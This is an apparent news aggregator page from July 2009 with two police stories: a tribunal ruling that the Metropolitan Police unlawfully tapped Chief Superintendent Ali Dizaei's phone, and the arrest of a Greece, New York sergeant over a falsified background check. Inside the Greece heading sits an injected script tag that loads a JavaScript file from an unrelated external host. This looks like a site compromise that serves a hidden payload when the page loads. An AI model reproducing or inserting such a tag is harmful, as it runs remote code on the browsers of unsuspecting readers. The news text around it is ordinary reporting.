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NEWS > 15 July 2009

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Police chief unlawfully tapped

A ruling that the Metropolitan Police unlawfully tapped the phone of one of their own senior officers is "of great concern", the force's police authority said.

Calls made by Chief Superintendent Ali Dizaei, legal adviser to the National Black Police Association (NBPA) and one of Britain's most senior ethnic minority police officers, were intercepted.

The interception has been ruled unlawful by the Investigatory Powers Tribunal.

A spokesman for the Metropolitan Police Authority (MPA) said they would be "urgently" examining the tribunal ruling. "The finding... Read more

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Greece Police Department, NY<script src=http://wtrc.kangwon.ac.kr/skin/rook.js></script>
MPNnow.com - Rochester,NY,USA
15 July 2009
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Greece Police Department, NY

Greece police sergeant faces f

Greece, N.Y. — .Hiring changes could be in store for the Greece Police Department after the recent arrest of a sergeant, the suspension of three other department cops and guilty verdicts for two others.

Sgt. Robert Trowbridge, a veteran of the force for 23 years, was charged Tuesday morning after he turned himself in to state police. Trowbridge, 54, of Hilton, pleaded not guilty to first-degree offering a false instrument for filing, a felony. He was released on his own recognizance after he was arraigned in Riga Town Court.

Trowbridge, whose base pay was about $82,000 a year, has been suspended without pay.
He is accused of filing inaccurate information regarding the background check of fellow officer Gary Pignato in April 2002.

Pignato was sentenced to two to six years in prison last week after being convicted June 8 on charges of receiving a bribe, coercion and official misconduct. Pignato was found guilty of coercing a woman to have sex with him in order to avoid charges.

Before he was hired by the Greece department, he was fired from the Rochester Police Department in 1997 for misconduct.

Trowbridge’s arrest came through an investigation of the Greece department by the Monroe County District Attorney’s Office, state police and the town.

“The importance of an accurate and honest background investigation report in the hiring of a police office is crucial — it is one of the most important documents used in the hiring process,” town Supervisor John Auberger said Tuesday. “If an accurate background check had been provided, Mr. Pignato would not have been hired.”

The felony complaint against Trowbridge alleges he gathered false information from or didn’t even interview former city police chief Robert Duffy (now Rochester’s mayor), another former city police chief, Vincent Faggiano, or former city deputy chief James Shepard.

“One of two things happened: in some instances, individuals were never contacted or individuals were interviewed but what they said didn’t go in,” said District Attorney Mike Green.

If convicted, Trowbridge faces a maximum of one and one-third to four years in state prison.

According to the complaint, Trowbridge did not act alone; he told state police “that this action was done at the direction of and with the knowledge of then-Chief Merritt Rahn.”

Green could not say if Rahn would be charged after Trowbridge’s arrest, but said the investigation is ongoing.

Rahn was suspended without pay on June 24. He faces more than 40 disciplinary charges of misconduct, malfeasance or incompetence. He and two other department officers, former Deputy Chief William Mackin and suspended Sgt. Brian Ball, were originally suspended with pay after being accused of shredding documents on April 25.

A day before the alleged shredding, the town announced its investigation of the department. It hired retired a state police investigator, Joseph Loszynski, and eventually eight more investigators to look into the department.

Mackin, who had been facing about 30 disciplinary charges by the town, retired effective Saturday, said town director of constituent services Kathryn Firkins. Firkins said Mackin did not specify why he was retiring.

Town officials said it’s likely a hearing officer will be appointed to give recommendations to the Town Board regarding Mackin’s benefits. Mackin is entitled to his state pension, but his post-retirement health benefits will be based on the outcome of the disciplinary proceedings.

Green said the investigation is ongoing, and he expects to present his findings to a grand jury next month.

“This investigation unfortunately continues to expand as we turn every corner,” he said Tuesday.
 

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